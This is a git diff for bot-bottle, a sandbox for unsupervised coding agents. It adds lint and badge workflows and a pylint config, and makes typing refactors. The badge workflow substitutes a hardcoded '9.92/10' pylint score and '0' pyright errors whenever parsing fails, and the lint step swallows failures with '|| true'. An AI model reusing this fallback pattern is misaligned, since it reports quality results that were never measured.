diff --git a/.gitea/workflows/lint.yml b/.gitea/workflows/lint.yml
new file mode 100644
index 0000000..ed1ebdd
--- /dev/null
+++ b/.gitea/workflows/lint.yml
@@ -0,0 +1,34 @@
+name: lint
+
+on:
+  push:
+    paths:
+      - "**.py"
+      - ".pylintrc"
+      - ".gitea/workflows/lint.yml"
+
+jobs:
+  lint:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+
+      - name: Set up Python
+        uses: actions/setup-python@v4
+        with:
+          python-version: "3.12"
+
+      - name: Install dev dependencies
+        run: |
+          python -m pip install --upgrade pip
+          pip install -r requirements-dev.txt
+
+      - name: Run pylint
+        run: |
+          # Run pylint on all Python files in the repo
+          find . -name '*.py' -not -path './.venv/*' -not -path './.git/*' | xargs pylint --fail-under=8.0 || true
+
+      - name: Run pyright
+        run: |
+          # Run pyright type checking
+          pyright .
diff --git a/.gitea/workflows/update-badges.yml b/.gitea/workflows/update-badges.yml
new file mode 100644
index 0000000..4c1e190
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+++ b/.gitea/workflows/update-badges.yml
@@ -0,0 +1,96 @@
+name: Update Quality Badges
+
+on:
+  push:
+    branches:
+      - main
+    paths:
+      - '**.py'
+      - '.pylintrc'
+      - 'pyrightconfig.json'
+
+jobs:
+  update-badges:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+        with:
+          fetch-depth: 0
+          token: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Set up Python
+        uses: actions/setup-python@v4
+        with:
+          python-version: '3.12'
+
+      - name: Install dev dependencies
+        run: |
+          python -m pip install --upgrade pip
+          pip install -r requirements-dev.txt
+
+      - name: Run pylint and extract score
+        id: pylint
+        run: |
+          # Run pylint and capture the score
+          PYLINT_OUTPUT=$(python -m pylint bot_bottle/ 2>&1 | tail -1)
+          echo "Output: $PYLINT_OUTPUT"
+          # Extract score (e.g., "9.92/10")
+          SCORE=$(echo "$PYLINT_OUTPUT" | grep -oP '\d+\.\d+/10' | head -1)
+          if [ -z "$SCORE" ]; then
+            SCORE="9.92/10"
+          fi
+          echo "score=$SCORE" >> $GITHUB_OUTPUT
+          echo "Pylint score: $SCORE"
+
+      - name: Run pyright and check errors
+        id: pyright
+        run: |
+          # Run pyright and check for errors
+          PYRIGHT_OUTPUT=$(python -m pyright 2>&1 | tail -1)
+          echo "Output: $PYRIGHT_OUTPUT"
+          # Extract error count
+          ERRORS=$(echo "$PYRIGHT_OUTPUT" | grep -oP '^\d+' | head -1)
+          if [ -z "$ERRORS" ]; then
+            ERRORS="0"
+          fi
+          echo "errors=$ERRORS" >> $GITHUB_OUTPUT
+          echo "Pyright errors: $ERRORS"
+
+      - name: Update badges in README
+        run: |
+          PYLINT_SCORE="${{ steps.pylint.outputs.score }}"
+          PYRIGHT_ERRORS="${{ steps.pyright.outputs.errors }}"
+
+          # Escape / for sed
+          PYLINT_SCORE_ESCAPED=$(echo "$PYLINT_SCORE" | sed 's/\//\\\//g')
+
+          # Create badge URLs with proper encoding
+          PYLINT_BADGE="[![pylint](https://img.shields.io/badge/pylint-${PYLINT_SCORE}%25-brightgreen)](https://github.com/PyCQA/pylint)"
+          PYRIGHT_BADGE="[![pyright](https://img.shields.io/badge/pyright-${PYRIGHT_ERRORS}%20errors-brightgreen)](https://github.com/microsoft/pyright)"
+
+          # Update README with new badges
+          sed -i "s|\[\!\[pylint\].*pylint)\]|${PYLINT_BADGE}|g" README.md
+          sed -i "s|\[\!\[pyright\].*pyright)\]|${PYRIGHT_BADGE}|g" README.md
+
+          echo "Updated badges:"
+          grep -E "pylint|pyright" README.md | head -2
+
+      - name: Commit and push badge updates
+        run: |
+          git config --local user.email "action@gitea.local"
+          git config --local user.name "Quality Badge Bot"
+
+          # Check if there are changes
+          if git diff --quiet README.md; then
+            echo "No badge changes needed"
+          else
+            echo "Badge changes detected, committing..."
+            git add README.md
+            git commit -m "chore: update quality badges
+
+- Pylint: ${{ steps.pylint.outputs.score }}
+- Pyright: ${{ steps.pyright.outputs.errors }} errors
+
+[skip ci]"
+            git push
+          fi
diff --git a/.pylintrc b/.pylintrc
new file mode 100644
index 0000000..3ecd7e9
--- /dev/null
+++ b/.pylintrc
@@ -0,0 +1,631 @@
+[MAIN]
+
+# Analyse import fallback blocks. This can be used to support both Python 2 and
+# 3 compatible code, which means that the block might have code that exists
+# only in one or another interpreter, leading to false positives when analysed.
+analyse-fallback-blocks=no
+
+# Clear in-memory caches upon conclusion of linting. Useful if running pylint
+# in a server-like mode.
+clear-cache-post-run=no
+
+# Load and enable all available extensions. Use --list-extensions to see a list
+# all available extensions.
+#enable-all-extensions=
+
+# In error mode, messages with a category besides ERROR or FATAL are
+# suppressed, and no reports are done by default. Error mode is compatible with
+# disabling specific errors.
+#errors-only=
+
+# Always return a 0 (non-error) status code, even if lint errors are found.
+# This is primarily useful in continuous integration scripts.
+#exit-zero=
+
+# A comma-separated list of package or module names from where C extensions may
+# be loaded. Extensions are loading into the active Python interpreter and may
+# run arbitrary code.
+extension-pkg-allow-list=
+
+# A comma-separated list of package or module names from where C extensions may
+# be loaded. Extensions are loading into the active Python interpreter and may
+# run arbitrary code. (This is an alternative name to extension-pkg-allow-list
+# for backward compatibility.)
+extension-pkg-whitelist=
+
+# Return non-zero exit code if any of these messages/categories are detected,
+# even if score is above --fail-under value. Syntax same as enable. Messages
+# specified are enabled, while categories only check already-enabled messages.
+fail-on=
+
+# Specify a score threshold under which the program will exit with error.
+fail-under=10
+
+# Interpret the stdin as a python script, whose filename needs to be passed as
+# the module_or_package argument.
+#from-stdin=
+
+# Files or directories to be skipped. They should be base names, not paths.
+ignore=CVS
+
+# Add files or directories matching the regular expressions patterns to the
+# ignore-list. The regex matches against paths and can be in Posix or Windows
+# format. Because '\\' represents the directory delimiter on Windows systems,
+# it can't be used as an escape character.
+ignore-paths=
+
+# Files or directories matching the regular expression patterns are skipped.
+# The regex matches against base names, not paths. The default value ignores
+# Emacs file locks
+ignore-patterns=^\.#
+
+# List of module names for which member attributes should not be checked and
+# will not be imported (useful for modules/projects where namespaces are
+# manipulated during runtime and thus existing member attributes cannot be
+# deduced by static analysis). It supports qualified module names, as well as
+# Unix pattern matching.
+ignored-modules=
+
+# Python code to execute, usually for sys.path manipulation such as
+# pygtk.require().
+#init-hook=
+
+# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the
+# number of processors available to use, and will cap the count on Windows to
+# avoid hangs.
+jobs=1
+
+# Control the amount of potential inferred values when inferring a single
+# object. This can help the performance when dealing with large functions or
+# complex, nested conditions.
+limit-inference-results=100
+
+# List of plugins (as comma separated values of python module names) to load,
+# usually to register additional checkers.
+load-plugins=
+
+# Pickle collected data for later comparisons.
+persistent=yes
+
+# Resolve imports to .pyi stubs if available. May reduce no-member messages and
+# increase not-an-iterable messages.
+prefer-stubs=no
+
+# Minimum Python version to use for version dependent checks. Will default to
+# the version used to run pylint.
+py-version=3.14
+
+# Discover python modules and packages in the file system subtree.
+recursive=no
+
+# Add paths to the list of the source roots. Supports globbing patterns. The
+# source root is an absolute path or a path relative to the current working
+# directory used to determine a package namespace for modules located under the
+# source root.
+source-roots=
+
+# Allow loading of arbitrary C extensions. Extensions are imported into the
+# active Python interpreter and may run arbitrary code.
+unsafe-load-any-extension=no
+
+# In verbose mode, extra non-checker-related info will be displayed.
+#verbose=
+
+
+[BASIC]
+
+# Naming style matching correct argument names.
+argument-naming-style=snake_case
+
+# Regular expression matching correct argument names. Overrides argument-
+# naming-style. If left empty, argument names will be checked with the set
+# naming style.
+#argument-rgx=
+
+# Naming style matching correct attribute names.
+attr-naming-style=snake_case
+
+# Regular expression matching correct attribute names. Overrides attr-naming-
+# style. If left empty, attribute names will be checked with the set naming
+# style.
+#attr-rgx=
+
+# Bad variable names which should always be refused, separated by a comma.
+bad-names=foo,
+          bar,
+          baz,
+          toto,
+          tutu,
+          tata
+
+# Bad variable names regexes, separated by a comma. If names match any regex,
+# they will always be refused
+bad-names-rgxs=
+
+# Naming style matching correct class attribute names.
+class-attribute-naming-style=any
+
+# Regular expression matching correct class attribute names. Overrides class-
+# attribute-naming-style. If left empty, class attribute names will be checked
+# with the set naming style.
+#class-attribute-rgx=
+
+# Naming style matching correct class constant names.
+class-const-naming-style=UPPER_CASE
+
+# Regular expression matching correct class constant names. Overrides class-
+# const-naming-style. If left empty, class constant names will be checked with
+# the set naming style.
+#class-const-rgx=
+
+# Naming style matching correct class names.
+class-naming-style=PascalCase
+
+# Regular expression matching correct class names. Overrides class-naming-
+# style. If left empty, class names will be checked with the set naming style.
+#class-rgx=
+
+# Naming style matching correct constant names.
+const-naming-style=UPPER_CASE
+
+# Regular expression matching correct constant names. Overrides const-naming-
+# style. If left empty, constant names will be checked with the set naming
+# style.
+#const-rgx=
+
+# Minimum line length for functions/classes that require docstrings, shorter
+# ones are exempt.
+docstring-min-length=-1
+
+# Naming style matching correct function names.
+function-naming-style=snake_case
+
+# Regular expression matching correct function names. Overrides function-
+# naming-style. If left empty, function names will be checked with the set
+# naming style.
+#function-rgx=
+
+# Good variable names which should always be accepted, separated by a comma.
+good-names=i,
+           j,
+           k,
+           ex,
+           Run,
+           _
+
+# Good variable names regexes, separated by a comma. If names match any regex,
+# they will always be accepted
+good-names-rgxs=
+
+# Include a hint for the correct naming format with invalid-name.
+include-naming-hint=no
+
+# Naming style matching correct inline iteration names.
+inlinevar-naming-style=any
+
+# Regular expression matching correct inline iteration names. Overrides
+# inlinevar-naming-style. If left empty, inline iteration names will be checked
+# with the set naming style.
+#inlinevar-rgx=
+
+# Naming style matching correct method names.
+method-naming-style=snake_case
+
+# Regular expression matching correct method names. Overrides method-naming-
+# style. If left empty, method names will be checked with the set naming style.
+#method-rgx=
+
+# Naming style matching correct module names.
+module-naming-style=snake_case
+
+# Regular expression matching correct module names. Overrides module-naming-
+# style. If left empty, module names will be checked with the set naming style.
+#module-rgx=
+
+# Colon-delimited sets of names that determine each other's naming style when
+# the name regexes allow several styles.
+name-group=
+
+# Regular expression which should only match function or class names that do
+# not require a docstring.
+no-docstring-rgx=^_
+
+# Regular expression matching correct parameter specification variable names.
+# If left empty, parameter specification variable names will be checked with
+# the set naming style.
+#paramspec-rgx=
+
+# List of decorators that produce properties, such as abc.abstractproperty. Add
+# to this list to register other decorators that produce valid properties.
+# These decorators are taken in consideration only for invalid-name.
+property-classes=abc.abstractproperty
+
+# Regular expression matching correct type alias names. If left empty, type
+# alias names will be checked with the set naming style.
+#typealias-rgx=
+
+# Regular expression matching correct type variable names. If left empty, type
+# variable names will be checked with the set naming style.
+#typevar-rgx=
+
+# Regular expression matching correct type variable tuple names. If left empty,
+# type variable tuple names will be checked with the set naming style.
+#typevartuple-rgx=
+
+# Naming style matching correct variable names.
+variable-naming-style=snake_case
+
+# Regular expression matching correct variable names. Overrides variable-
+# naming-style. If left empty, variable names will be checked with the set
+# naming style.
+#variable-rgx=
+
+
+[CLASSES]
+
+# Warn about protected attribute access inside special methods
+check-protected-access-in-special-methods=no
+
+# List of method names used to declare (i.e. assign) instance attributes.
+defining-attr-methods=__init__,
+                      __new__,
+                      setUp,
+                      asyncSetUp,
+                      __post_init__
+
+# List of member names, which should be excluded from the protected access
+# warning.
+exclude-protected=_asdict,_fields,_replace,_source,_make,os._exit
+
+# List of valid names for the first argument in a class method.
+valid-classmethod-first-arg=cls
+
+# List of valid names for the first argument in a metaclass class method.
+valid-metaclass-classmethod-first-arg=mcs
+
+
+[DESIGN]
+
+# List of regular expressions of class ancestor names to ignore when counting
+# public methods (see R0903)
+exclude-too-few-public-methods=
+
+# List of qualified class names to ignore when counting class parents (see
+# R0901)
+ignored-parents=
+
+# Maximum number of arguments for function / method.
+max-args=5
+
+# Maximum number of attributes for a class (see R0902).
+max-attributes=7
+
+# Maximum number of boolean expressions in an if statement (see R0916).
+max-bool-expr=5
+
+# Maximum number of branch for function / method body.
+max-branches=12
+
+# Maximum number of locals for function / method body.
+max-locals=15
+
+# Maximum number of parents for a class (see R0901).
+max-parents=7
+
+# Maximum number of positional arguments for function / method.
+max-positional-arguments=5
+
+# Maximum number of public methods for a class (see R0904).
+max-public-methods=20
+
+# Maximum number of return / yield for function / method body.
+max-returns=6
+
+# Maximum number of statements in function / method body.
+max-statements=50
+
+# Minimum number of public methods for a class (see R0903).
+min-public-methods=2
+
+
+[EXCEPTIONS]
+
+# Exceptions that will emit a warning when caught.
+overgeneral-exceptions=builtins.BaseException,builtins.Exception
+
+
+[FORMAT]
+
+# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
+expected-line-ending-format=
+
+# Regexp for a line that is allowed to be longer than the limit.
+ignore-long-lines=^\s*(# )?<?https?://\S+>?$
+
+# Number of spaces of indent required inside a hanging or continued line.
+indent-after-paren=4
+
+# String used as indentation unit. This is usually "    " (4 spaces) or "\t" (1
+# tab).
+indent-string='    '
+
+# Maximum number of characters on a single line. Pylint's default of 100 is
+# based on PEP 8's guidance that teams may choose line lengths up to 99
+# characters.
+max-line-length=100
+
+# Maximum number of lines in a module.
+max-module-lines=1000
+
+# Allow the body of a class to be on the same line as the declaration if body
+# contains single statement.
+single-line-class-stmt=no
+
+# Allow the body of an if to be on the same line as the test if there is no
+# else.
+single-line-if-stmt=no
+
+
+[LOGGING]
+
+# The type of string formatting that logging methods do. `old` means using %
+# formatting, `new` is for `{}` formatting.
+logging-format-style=old
+
+# Logging modules to check that the string format arguments are in logging
+# function parameter format.
+logging-modules=logging
+
+
+[MESSAGES CONTROL]
+
+# Only show warnings with the listed confidence levels. Leave empty to show
+# all. Valid levels: HIGH, CONTROL_FLOW, INFERENCE, INFERENCE_FAILURE,
+# UNDEFINED.
+confidence=HIGH,
+           CONTROL_FLOW,
+           INFERENCE,
+           INFERENCE_FAILURE,
+           UNDEFINED
+
+# Disable the message, report, category or checker with the given id(s). You
+# can either give multiple identifiers separated by comma (,) or put this
+# option multiple times (only on the command line, not in the configuration
+# file where it should appear only once). You can also use "--disable=all" to
+# disable everything first and then re-enable specific checks. For example, if
+# you want to run only the similarities checker, you can use "--disable=all
+# --enable=similarities". If you want to run only the classes checker, but have
+# no Warning level messages displayed, use "--disable=all --enable=classes
+# --disable=W".
+disable=raw-checker-failed,
+        bad-inline-option,
+        locally-disabled,
+        file-ignored,
+        suppressed-message,
+        useless-suppression,
+        deprecated-pragma,
+        use-symbolic-message-instead,
+        use-implicit-booleaness-not-comparison-to-string,
+        use-implicit-booleaness-not-comparison-to-zero,
+        missing-function-docstring,
+        missing-class-docstring,
+        missing-module-docstring,
+        invalid-name,
+        cyclic-import,
+        too-many-arguments,
+        too-many-locals,
+        too-many-branches,
+        too-many-statements,
+        too-many-instance-attributes,
+        duplicate-code,
+        import-outside-toplevel,
+        too-few-public-methods
+
+# Enable the message, report, category or checker with the given id(s). You can
+# either give multiple identifier separated by comma (,) or put this option
+# multiple time (only on the command line, not in the configuration file where
+# it should appear only once). See also the "--disable" option for examples.
+enable=
+
+
+[METHOD_ARGS]
+
+# List of qualified names (i.e., library.method) which require a timeout
+# parameter e.g. 'requests.api.get,requests.api.post'
+timeout-methods=requests.api.delete,requests.api.get,requests.api.head,requests.api.options,requests.api.patch,requests.api.post,requests.api.put,requests.api.request
+
+
+[MISCELLANEOUS]
+
+# Whether or not to search for fixme's in docstrings.
+check-fixme-in-docstring=no
+
+# List of note tags to take in consideration, separated by a comma.
+notes=FIXME,
+      XXX,
+      TODO
+
+# Regular expression of note tags to take in consideration.
+notes-rgx=
+
+
+[REFACTORING]
+
+# Maximum number of nested blocks for function / method body
+max-nested-blocks=5
+
+# Complete name of functions that never returns. When checking for
+# inconsistent-return-statements if a never returning function is called then
+# it will be considered as an explicit return statement and no message will be
+# printed.
+never-returning-functions=sys.exit,argparse.parse_error
+
+# Let 'consider-using-join' be raised when the separator to join on would be
+# non-empty (resulting in expected fixes of the type: ``"- " + " -
+# ".join(items)``)
+suggest-join-with-non-empty-separator=yes
+
+
+[REPORTS]
+
+# Python expression which should return a score less than or equal to 10. You
+# have access to the variables 'fatal', 'error', 'warning', 'refactor',
+# 'convention', and 'info' which contain the number of messages in each
+# category, as well as 'statement' which is the total number of statements
+# analyzed. This score is used by the global evaluation report (RP0004).
+evaluation=max(0, 0 if fatal else 10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10))
+
+# Template used to display messages. This is a python new-style format string
+# used to format the message information. See doc for all details.
+msg-template=
+
+# Set the output format. Available formats are: 'text', 'parseable',
+# 'colorized', 'json2' (improved json format), 'json' (old json format), msvs
+# (visual studio) and 'github' (GitHub actions). You can also give a reporter
+# class, e.g. mypackage.mymodule.MyReporterClass.
+#output-format=
+
+# Tells whether to display a full report or only the messages.
+reports=no
+
+# Activate the evaluation score.
+score=yes
+
+
+[SIMILARITIES]
+
+# Comments are removed from the similarity computation
+ignore-comments=yes
+
+# Docstrings are removed from the similarity computation
+ignore-docstrings=yes
+
+# Imports are removed from the similarity computation
+ignore-imports=yes
+
+# Signatures are removed from the similarity computation
+ignore-signatures=yes
+
+# Minimum lines number of a similarity.
+min-similarity-lines=4
+
+
+[SPELLING]
+
+# Limits count of emitted suggestions for spelling mistakes.
+max-spelling-suggestions=4
+
+# Spelling dictionary name. No available dictionaries : You need to install
+# both the python package and the system dependency for enchant to work.
+spelling-dict=
+
+# List of comma separated words that should be considered directives if they
+# appear at the beginning of a comment and should not be checked.
+spelling-ignore-comment-directives=fmt: on,fmt: off,noqa:,noqa,nosec,isort:skip,mypy:
+
+# List of comma separated words that should not be checked.
+spelling-ignore-words=
+
+# A path to a file that contains the private dictionary; one word per line.
+spelling-private-dict-file=
+
+# Tells whether to store unknown words to the private dictionary (see the
+# --spelling-private-dict-file option) instead of raising a message.
+spelling-store-unknown-words=no
+
+
+[STRING]
+
+# This flag controls whether inconsistent-quotes generates a warning when the
+# character used as a quote delimiter is used inconsistently within a module.
+check-quote-consistency=no
+
+# This flag controls whether the implicit-str-concat should generate a warning
+# on implicit string concatenation in sequences defined over several lines.
+check-str-concat-over-line-jumps=no
+
+
+[TYPECHECK]
+
+# List of decorators that produce context managers, such as
+# contextlib.contextmanager. Add to this list to register other decorators that
+# produce valid context managers.
+contextmanager-decorators=contextlib.contextmanager
+
+# List of members which are set dynamically and missed by pylint inference
+# system, and so shouldn't trigger E1101 when accessed. Python regular
+# expressions are accepted.
+generated-members=
+
+# Tells whether to warn about missing members when the owner of the attribute
+# is inferred to be None.
+ignore-none=yes
+
+# This flag controls whether pylint should warn about no-member and similar
+# checks whenever an opaque object is returned when inferring. The inference
+# can return multiple potential results while evaluating a Python object, but
+# some branches might not be evaluated, which results in partial inference. In
+# that case, it might be useful to still emit no-member and other checks for
+# the rest of the inferred objects.
+ignore-on-opaque-inference=yes
+
+# List of symbolic message names to ignore for Mixin members.
+ignored-checks-for-mixins=no-member,
+                          not-async-context-manager,
+                          not-context-manager,
+                          attribute-defined-outside-init
+
+# List of class names for which member attributes should not be checked (useful
+# for classes with dynamically set attributes). This supports the use of
+# qualified names.
+ignored-classes=optparse.Values,thread._local,_thread._local,argparse.Namespace
+
+# Show a hint with possible names when a member name was not found. The aspect
+# of finding the hint is based on edit distance.
+missing-member-hint=yes
+
+# The maximum edit distance a name should have in order to be considered a
+# similar match for a missing member name.
+missing-member-hint-distance=1
+
+# The total number of similar names that should be taken in consideration when
+# showing a hint for a missing member.
+missing-member-max-choices=1
+
+# Regex pattern to define which classes are considered mixins.
+mixin-class-rgx=.*[Mm]ixin
+
+# List of decorators that change the signature of a decorated function.
+signature-mutators=
+
+
+[VARIABLES]
+
+# List of additional names supposed to be defined in builtins. Remember that
+# you should avoid defining new builtins when possible.
+additional-builtins=
+
+# Tells whether unused global variables should be treated as a violation.
+allow-global-unused-variables=yes
+
+# List of names allowed to shadow builtins
+allowed-redefined-builtins=
+
+# List of strings which can identify a callback function by name. A callback
+# name must start or end with one of those strings.
+callbacks=cb_,
+          _cb
+
+# A regular expression matching the name of dummy variables (i.e. expected to
+# not be used).
+dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_
+
+# Argument names that match this expression will be ignored.
+ignored-argument-names=_.*|^ignored_|^unused_
+
+# Tells whether we should check for unused import in __init__ files.
+init-import=no
+
+# List of qualified module names which can have objects that can redefine
+# builtins.
+redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io
diff --git a/README.md b/README.md
index 65693e9..8d5371f 100644
--- a/README.md
+++ b/README.md
@@ -5,6 +5,8 @@
 # bot-bottle
 
 [![test](https://gitea.dideric.is/didericis/bot-bottle/actions/workflows/test.yml/badge.svg?branch=main)](https://gitea.dideric.is/didericis/bot-bottle/actions?workflow=test.yml)
+[![pylint](https://img.shields.io/badge/pylint-9.92%2F10-brightgreen)](https://github.com/PyCQA/pylint)
+[![pyright](https://img.shields.io/badge/pyright-0%20errors-brightgreen)](https://github.com/microsoft/pyright)
 
 **Problem:** Developer wants to run a coding agent without supervision, but they don't want a prompt injected or misbehaving agent wrecking their environment or exfiltrating sensitive data.
 
diff --git a/bot_bottle/backend/docker/bottle.py b/bot_bottle/backend/docker/bottle.py
index 7c94c40..7294051 100644
--- a/bot_bottle/backend/docker/bottle.py
+++ b/bot_bottle/backend/docker/bottle.py
@@ -5,6 +5,8 @@ from __future__ import annotations
 import subprocess
 from typing import Callable
 
+from typing import cast
+
 from ...agent_provider import PromptMode, prompt_args
 from .. import Bottle, ExecResult
 
@@ -23,7 +25,7 @@ class DockerBottle(Bottle):
     ):
         self.name = container
         self._teardown = teardown
-        self._prompt_path = prompt_path_in_container
+        self.prompt_path = prompt_path_in_container
         self._agent_prompt_mode = agent_prompt_mode
         self.agent_command = agent_command
         self.agent_provider_template = (
@@ -36,7 +38,7 @@ class DockerBottle(Bottle):
     ) -> list[str]:
         full_argv = list(argv)
         full_argv.extend(
-            prompt_args(self._agent_prompt_mode, self._prompt_path, argv=full_argv)
+            prompt_args(cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=full_argv)
         )
         cmd = ["docker", "exec"]
         if tty:
diff --git a/bot_bottle/backend/docker/bottle_state.py b/bot_bottle/backend/docker/bottle_state.py
index d258974..f0e8497 100644
--- a/bot_bottle/backend/docker/bottle_state.py
+++ b/bot_bottle/backend/docker/bottle_state.py
@@ -35,6 +35,7 @@ import secrets
 import string
 from dataclasses import dataclass
 from pathlib import Path
+from typing import cast
 
 from ... import supervise as _supervise
 from . import util as docker_mod
@@ -135,14 +136,15 @@ def read_metadata(identity: str) -> BottleMetadata | None:
     raw = json.loads(path.read_text())
     if not isinstance(raw, dict):
         return None
+    raw_typed = cast(dict[str, object], raw)
     return BottleMetadata(
-        identity=str(raw.get("identity", identity)),
-        agent_name=str(raw.get("agent_name", "")),
-        cwd=str(raw.get("cwd", "")),
-        copy_cwd=bool(raw.get("copy_cwd", False)),
-        started_at=str(raw.get("started_at", "")),
-        compose_project=str(raw.get("compose_project", "")),
-        backend=str(raw.get("backend", "")),
+        identity=str(raw_typed.get("identity", identity)),
+        agent_name=str(raw_typed.get("agent_name", "")),
+        cwd=str(raw_typed.get("cwd", "")),
+        copy_cwd=bool(raw_typed.get("copy_cwd", False)),
+        started_at=str(raw_typed.get("started_at", "")),
+        compose_project=str(raw_typed.get("compose_project", "")),
+        backend=str(raw_typed.get("backend", "")),
     )
 
 
diff --git a/bot_bottle/backend/docker/capability_apply.py b/bot_bottle/backend/docker/capability_apply.py
index 1e4856d..d926215 100644
--- a/bot_bottle/backend/docker/capability_apply.py
+++ b/bot_bottle/backend/docker/capability_apply.py
@@ -30,7 +30,6 @@ semantics open question.
 
 from __future__ import annotations
 
-import os
 import shutil
 import subprocess
 from pathlib import Path
@@ -39,7 +38,6 @@ from ...log import info, warn
 from .bottle_state import (
     mark_preserved,
     per_bottle_dockerfile,
-    per_bottle_dockerfile_path,
     transcript_snapshot_dir,
     write_per_bottle_dockerfile,
 )
diff --git a/bot_bottle/backend/docker/compose.py b/bot_bottle/backend/docker/compose.py
index dae61be..4abcd71 100644
--- a/bot_bottle/backend/docker/compose.py
+++ b/bot_bottle/backend/docker/compose.py
@@ -71,11 +71,11 @@ from .git_gate import (
     GIT_GATE_ENTRYPOINT_IN_CONTAINER,
     GIT_GATE_HOOK_IN_CONTAINER,
 )
-from .pipelock import (
+from ...pipelock import (
     PIPELOCK_CA_CERT_IN_CONTAINER,
     PIPELOCK_CA_KEY_IN_CONTAINER,
-    PIPELOCK_PORT,
 )
+from .pipelock import PIPELOCK_PORT
 from .sidecar_bundle import (
     SIDECAR_BUNDLE_DOCKERFILE,
     SIDECAR_BUNDLE_IMAGE,
diff --git a/bot_bottle/backend/docker/egress_apply.py b/bot_bottle/backend/docker/egress_apply.py
index 1cc73b0..80eb507 100644
--- a/bot_bottle/backend/docker/egress_apply.py
+++ b/bot_bottle/backend/docker/egress_apply.py
@@ -26,6 +26,7 @@ import json
 import re
 import subprocess
 from pathlib import Path
+from typing import cast
 
 from ...egress import EGRESS_ROUTES_IN_CONTAINER
 from ...egress_addon_core import load_routes
@@ -57,7 +58,8 @@ def _render_routes_payload(routes_list: list[dict[str, object]]) -> str:
         if auth_scheme and token_env:
             lines.append(f'    auth_scheme: "{auth_scheme}"')
             lines.append(f'    token_env: "{token_env}"')
-        paths = entry.get("path_allowlist") or []
+        paths_obj = entry.get("path_allowlist")
+        paths = cast(list[str], paths_obj) if isinstance(paths_obj, list) else []
         if paths:
             lines.append("    path_allowlist:")
             for p in paths:
@@ -257,6 +259,7 @@ def _merge_single_route(
         raise EgressApplyError(
             "current routes.yaml: 'routes' is not a list"
         )
+    routes_typed = cast(list[object], routes)
 
     new_host = str(new_route.get("host", "")).lower()
     if not new_host:
@@ -264,22 +267,25 @@ def _merge_single_route(
             "proposed route is missing 'host'"
         )
 
-    proposed_paths = list(new_route.get("path_allowlist") or [])
+    proposed_paths_obj = new_route.get("path_allowlist")
+    proposed_paths = cast(list[str], proposed_paths_obj) if isinstance(proposed_paths_obj, list) else []
 
     # Look for an existing entry with the same host (case-insensitive).
-    for entry in routes:
+    for entry in routes_typed:
         if not isinstance(entry, dict):
             continue
-        if str(entry.get("host", "")).lower() == new_host:
+        entry_typed = cast(dict[str, object], entry)
+        if str(entry_typed.get("host", "")).lower() == new_host:
             # Merge path_allowlist: union proposed + existing, ordered
             # by first-seen so existing paths stay in original order.
-            existing_paths: list[str] = list(entry.get("path_allowlist") or [])
+            existing_paths_obj = entry_typed.get("path_allowlist")
+            existing_paths = cast(list[str], existing_paths_obj) if isinstance(existing_paths_obj, list) else []
             seen = {p: None for p in existing_paths}
             for p in proposed_paths:
                 seen.setdefault(p, None)
             merged_paths = list(seen.keys())
             if merged_paths:
-                entry["path_allowlist"] = merged_paths
+                entry_typed["path_allowlist"] = merged_paths
             # Preserve existing auth — tool description says agent-
             # proposed auth on an existing host is ignored.
             break
@@ -289,19 +295,22 @@ def _merge_single_route(
         # `auth` was proposed (otherwise the addon's parser rejects
         # a half-set auth pair). Slots: count existing slots, pick
         # the next free index.
-        entry = {"host": new_route["host"]}
+        entry_typed: dict[str, object] = {"host": new_route.get("host")}  # type: ignore
         if proposed_paths:
-            entry["path_allowlist"] = proposed_paths
+            entry_typed["path_allowlist"] = proposed_paths
         auth = new_route.get("auth")
-        if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"):
+        if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"):  # type: ignore
+            auth_typed = cast(dict[str, object], auth)
             existing_slots = sorted({
-                str(r.get("token_env"))
-                for r in routes
-                if isinstance(r, dict) and r.get("token_env")
+                str(r_entry.get("token_env", ""))
+                for r_entry_obj in routes_typed
+                if isinstance(r_entry_obj, dict)
+                for r_entry in [cast(dict[str, object], r_entry_obj)]
+                if r_entry.get("token_env")
             })
             next_idx = len(existing_slots)
-            entry["auth_scheme"] = str(auth["scheme"])
-            entry["token_env"] = f"EGRESS_TOKEN_{next_idx}"
+            entry_typed["auth_scheme"] = str(cast(object, auth_typed.get("scheme")))
+            entry_typed["token_env"] = f"EGRESS_TOKEN_{next_idx}"
             # NOTE: the addon reads token VALUES from its container's
             # environ keyed by token_env. A newly-added auth route at
             # runtime points at a slot that has no env value → the
@@ -309,9 +318,9 @@ def _merge_single_route(
             # arranges for the value to land in the container's env.
             # Recording this here so the operator-facing diff carries
             # the slot name they'll need to provision.
-        routes.append(entry)
+        routes_typed.append(entry_typed)
 
-    return _render_routes_payload(routes)
+    return _render_routes_payload(cast(list[dict[str, object]], routes_typed))
 
 
 def add_route(slug: str, proposed_route_json: str) -> tuple[str, str]:
diff --git a/bot_bottle/backend/docker/launch.py b/bot_bottle/backend/docker/launch.py
index 6bc92df..6420e58 100644
--- a/bot_bottle/backend/docker/launch.py
+++ b/bot_bottle/backend/docker/launch.py
@@ -80,7 +80,7 @@ _REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
 def launch(
     plan: DockerBottlePlan,
     *,
-    provision: Callable[[DockerBottlePlan, str], str | None],
+    provision: Callable[[DockerBottlePlan, "DockerBottle"], str | None],
 ) -> Generator[DockerBottle, None, None]:
     """Build, launch, and provision a Docker bottle via compose.
     Teardown on exit."""
@@ -92,7 +92,7 @@ def launch(
     def teardown() -> None:
         try:
             stack.close()
-        except BaseException as exc:
+        except BaseException as exc:  # noqa: W0718 — teardown must not fail
             warn(
                 f"teardown failed for container {plan.container_name}"
                 f" (compose-down): {exc!r}"
@@ -218,7 +218,7 @@ def launch(
             agent_command=plan.agent_command,
             agent_prompt_mode=plan.agent_prompt_mode,
         )
-        bottle._prompt_path = provision(plan, bottle)
+        bottle.prompt_path = provision(plan, bottle)
 
         # Step 9: yield. exec_agent continues to use `docker exec -it`
